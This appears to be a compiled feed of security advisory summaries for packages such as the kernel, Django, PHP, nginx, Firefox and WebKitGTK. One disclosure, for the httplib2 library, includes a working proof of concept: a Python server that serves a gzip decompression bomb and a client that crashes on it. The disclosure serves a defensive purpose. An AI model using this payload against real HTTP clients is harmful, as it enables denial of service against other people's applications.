Multiple security issues have been addressed in the kernel-devel-7.1.7-1.1 package for openSUSE Tumbleweed on the GA media. These fixes pertain to the SUSE kernel development packages for the aarch64 architecture. The vulnerabilities are collectively resolved in this specific package version.
This update for python-Django fixes the following issues:
Changes in python-Django:
- CVE-2026-15307: server-side file-write and request forgery via spatial lookups (bsc#1272997)
- CVE-2026-15337: potential denial-of-service vulnerability in `check_for_language()` (bsc#1272998)
- CVE-2026-15830: potential denial-of-service vulnerability via nested geometry collections (bsc#1272999)
- CVE-2026-15920: potential cross-site scripting via `URLField` values in the admin (bsc#1273000)
A security update for BouncyCastle version 1.85 addresses multiple critical vulnerabilities affecting cryptographic operations, key management, and data integrity. These issues include bypasses, untrusted memory allocations, MAC forgery, improper validation, and denial-of-service risks. The update also repackages certain post-quantum cryptography algorithms and deprecates older versions. This update is critical to maintain the security and integrity of cryptographic functions in affected systems.
Multiple security vulnerabilities were fixed in dnsdist with the update to version 1.9.15. These include issues causing invalid output in the Prometheus endpoint, delays in processing DNS over HTTP/3 queries, stuck outgoing TCP connections, out-of-bounds reads leading to crashes or memory leaks, exceptions causing out-of-memory conditions, improper handling of crafted EDNS OPT records, and denial-of-service via unlimited memory allocation in the internal web server.
Rsyslog versions from 7.5.4 up to but not including 8.2606.0 contain a vulnerability in the optional mmpstrucdata plugin. The vulnerability arises from the parseSD_PARAM function using a fixed-size stack buffer without proper bounds checking, allowing a remote unauthenticated attacker to send an oversized RFC5424 structured-data parameter that causes a stack overwrite. This can lead to a crash and interruption of log collection. Systems not using the plugin or with message size limits below the threshold are not affected. The issue is fixed in version 8.2606.0.
Multiple critical vulnerabilities affecting PHP 8 have been addressed in updates up to version 8.5.9. These include a stack overflow in phar with circular symlinks, an SQL injection vulnerability in ext-pgsql, an out-of-bounds write in bccomp(), and an upgrade to libgd to fix related issues. The vulnerabilities impact various PHP 8 branches prior to their respective fixed versions. A security update is available and should be applied to mitigate these risks.
Multiple security issues were addressed in the libvirt-12.6.0-1.1 package included in the GA media of openSUSE Tumbleweed. These fixes resolve vulnerabilities present in prior versions of libvirt. No specific details about the nature of the vulnerabilities or affected versions are provided.
CVE-2026-67312 refers to multiple security issues fixed in the jupyter-nbdime-7.0.4-24.1 package distributed on openSUSE Tumbleweed. The vulnerabilities involve several CWEs including resource exhaustion and improper resource management. The Red Hat advisory references this CVE among others in a security update for hardened images RPMs. No direct exploit code or active exploitation is reported. The severity is assessed as medium based on the available information.
### Summary
The `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.
Any application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.
### Details
**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function
The decompression path has two unbounded operations:
1. **gzip decompression** (line 394):
```python
content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()
```
The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.
2. **deflate decompression** (line 397):
```python
content = zlib.decompress(content, zlib.MAX_WBITS)
```
Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.
3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.
**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.
**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:
- `Content-Encoding: gzip` header
- A small compressed body that decompresses to an arbitrarily large size
### Proof of Concept
**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**
```python
#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver
UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
def make_payload():
"""Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes
for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
gz.write(chunk)
return buf.getvalue()
PAYLOAD = make_payload()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Encoding", "gzip")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
pass
with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
f"{UNCOMPRESSED_SIZE} bytes decompressed")
httpd.serve_forever()
```
**Step 2 - Run the httplib2 client (in a separate terminal):**
```python
#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2
# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
http = httplib2.Http(timeout=5)
try:
response, content = http.request("http://127.0.0.1:8000/")
print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
print(f"MemoryError confirmed: decompression bomb exhausted "
f"{LIMIT_MB} MB memory limit")
# This is the expected outcome - the 150 KB compressed payload
# expanded to 150 MB during decompression, exceeding the limit.
```
**Expected output (client):**
```
MemoryError confirmed: decompression bomb exhausted 180 MB memory limit
```
**Reproduction metrics:**
- Compressed payload size: **152,908 bytes** (~150 KB)
- Decompressed size: **157,286,400 bytes** (150 MB)
- Amplification ratio: **~1,029x**
- Client memory limit: 180 MB -> `MemoryError` triggered during `gzip.GzipFile.read()`
### Impact
**Severity: High**
Any application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.
| Parameter | Value |
|---|---|
| Compressed payload | ~150 KB |
| Decompressed size | 150 MB (configurable by attacker) |
| Amplification ratio | ~1,029x |
| Authentication required | None |
|
An out-of-bounds read vulnerability exists in the RealMedia demuxer audio stream header parser of the gstreamer1-plugins-ugly-free package. This affects certain versions of the package used in Red Hat Enterprise Linux 10. A security update has been issued by Red Hat to address this issue.
A vulnerability (CVE-2026-42533) in nginx involves incorrect handling of certain map directives using regex matching and capture variables. This flaw could allow a remote attacker to cause nginx to crash (denial of service) or potentially execute arbitrary code. The issue was initially fixed in Ubuntu packages but the fix was reverted due to ABI compatibility problems with external modules. Updated package versions addressing this regression have since been released.
This update for MozillaFirefox fixes the following issues:
- Update to Firefox Extended Support Release 140.13.0 ESR.
- MFSA 2026-70 (bsc#1271649):
* CVE-2026-15718: Invalid pointer in the JavaScript: WebAssembly component
* CVE-2026-15719: Site isolation issue in the DOM: Navigation component
* CVE-2026-16349: Same-origin policy bypass in the DOM: Navigation component
* CVE-2026-16350: Incorrect boundary conditions in the Audio/Video: cubeb component
* CVE-2026-16362: Use-after-free in the WebRTC: Audio/Video component
* CVE-2026-16351: Sandbox escape due to use-after-free in the DOM: Navigation component
* CVE-2026-16352: Sandbox escape due to use-after-free in the Disability Access APIs component
* CVE-2026-16363: JIT miscompilation in the JavaScript: WebAssembly component
* CVE-2026-16353: Invalid pointer in the DOM: Bindings (WebIDL) component
* CVE-2026-16354: Information disclosure in the Graphics: ImageLib component
* CVE-2026-16368: Incorrect boundary conditions in the JavaScript: WebAssembly component
* CVE-2026-16369: Integer overflow in the JavaScript: WebAssembly component
* CVE-2026-16355: JIT miscompilation in the JavaScript Engine: JIT component
* CVE-2026-16356: Sandbox escape due to use-after-free in the Disability Access APIs component
* CVE-2026-16357: Incorrect boundary conditions in the Graphics component
* CVE-2026-16371: Privilege escalation in the DOM: Navigation component
* CVE-2026-16374: Information disclosure in the Framework component in DevTools
* CVE-2026-16375: Site isolation issue in the Networking: HTTP component
* CVE-2026-16377: Mitigation bypass in the PDF Viewer component
* CVE-2026-16379: Privilege escalation in the DOM: Content Processes component
* CVE-2026-16358: Site isolation issue in the Graphics: WebRender component
* CVE-2026-16381: Same-origin policy bypass in the Networking: DNS component
* CVE-2026-16383: Mitigation bypass in the DOM: Networking component
* CVE-2026-16387: Site isolation issue in the Networking component
* CVE-2026-16390: Mitigation bypass in the Enterprise Policies component
* CVE-2026-16391: Information disclosure in the Storage: IndexedDB component
* CVE-2026-16359: Incorrect boundary conditions in the Audio/Video: GMP component
* CVE-2026-16396: Privilege escalation in WebExtensions
* CVE-2026-16405: Information disclosure in the Networking: WebSockets component
* CVE-2026-16412: Memory safety bugs fixed in Firefox ESR 140.13 and Firefox 153
* CVE-2026-16360: Memory safety bugs fixed in Firefox ESR 115.38, Firefox ESR 140.13 and Firefox 153
* CVE-2026-16361: Memory safety bugs fixed in Firefox ESR 115.38 and Firefox ESR 140.13
- Remove obsolete `mozilla-nss-certs` (bsc#1269226).
This update for xwayland fixes the following issues
- CVE-2026-55999: missing bounds check in `glamor_font_get` can lead to a heap buffer overflow when a font loaded from
a malicious PCF file is processed (bsc#1268893).
- CVE-2026-56000: improper memory management in `CommonMakeCurrent` can lead to a heap use-after-free when an
interaction with a malicious client creating GLX contexts happens (bsc#1268894).
Multiple security issues were addressed in the ImageMagick-7.1.2.28-2.1 package included in the GA media of openSUSE Tumbleweed. The update fixes vulnerabilities present in previous versions of ImageMagick. No specific details about the nature of the vulnerabilities or affected versions are provided.
This update for webkit2gtk3 fixes the following issues:
- CVE-2024-4367: missing type check when handling fonts in PDF.js can allow arbitrary JavaScript execution
(bsc#1271638).
- CVE-2026-39872: maliciously crafted web content can lead to an unexpected process crash (bsc#1271638).
- CVE-2026-43663: maliciously crafted web content can lead to an unexpected process crash (bsc#1271638).
- CVE-2026-43676: out-of-bounds access when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
- CVE-2026-43699: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43701: malicious website can process restricted web content outside the sandbox (bsc#1271638).
- CVE-2026-43705: type confusion issue when processing web content can lead to memory corruption (bsc#1271638).
- CVE-2026-43707: memory corruption issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43712: maliciously crafted web content can lead to an unexpected process crash (bsc#1271638).
- CVE-2026-43713: visiting a website can leak sensitive data due to a permissions issue (bsc#1271638).
- CVE-2026-43715: use-after-free issue when processing web content can lead to memory corruption (bsc#1271638).
- CVE-2026-43716: maliciously crafted web content can lead to an unexpected Safari crash (bsc#1271638).
- CVE-2026-43720: use-after-free issue when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
- CVE-2026-43721: malicious website can silently hijack clipboard data (bsc#1271638).
- CVE-2026-43725: unvalidated input can allow a malicious website to process restricted web content outside the
sandbox (bsc#1271638).
- CVE-2026-43726: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43727: use-after-free issue when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
- CVE-2026-43731: use-after-free issue when processing web content can lead to memory corruption (bsc#1271638).
- CVE-2026-43732: path handling issue when processing web content can disclose sensitive user information
(bsc#1271638).
- CVE-2026-43734: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43740: maliciously crafted web content can result in the disclosure of process memory (bsc#1271638).
- CVE-2026-43742: use-after-free issue when processing web content can lead to an unexpected process crash
(bsc#1271638).
- CVE-2026-43745: out-of-bounds write issue when processing web content can lead to an unexpected Safari crash
(bsc#1271638).
Changes for webkit2gtk3:
- Update to version 2.52.5:
* Fire scrollend event for instant programmatic scrolls.
* Increase network idle connection timeout to 115 seconds.
* Add User-Agent quirk for HBO Max.
* Fix the build with system malloc.
A security update for Chromium version 151.0.7922.71 addresses multiple high severity vulnerabilities including use-after-free, insufficient validation of untrusted input, integer overflows, race conditions, out-of-bounds reads and writes, type confusion, side-channel information leakage, and inappropriate implementations across components such as ANGLE, V8, Skia, and Media. These vulnerabilities collectively pose significant security risks to the Chromium browser and related components. The update improves security and stability by fixing these issues.
Multiple security issues were addressed in the python313-huggingface-hub-1.26.0-1.1 package for openSUSE Tumbleweed. These fixes improve the security posture of the package but specific vulnerability details are not provided.
Multiple security issues have been fixed in the libntpc1-1.2.5-1.1 package included in the GA media of openSUSE Tumbleweed. These vulnerabilities relate to the SUSE product and involve the libntpc1 component. The issues are classified with a medium severity level and include a CWE-120 category, indicating a buffer-related vulnerability.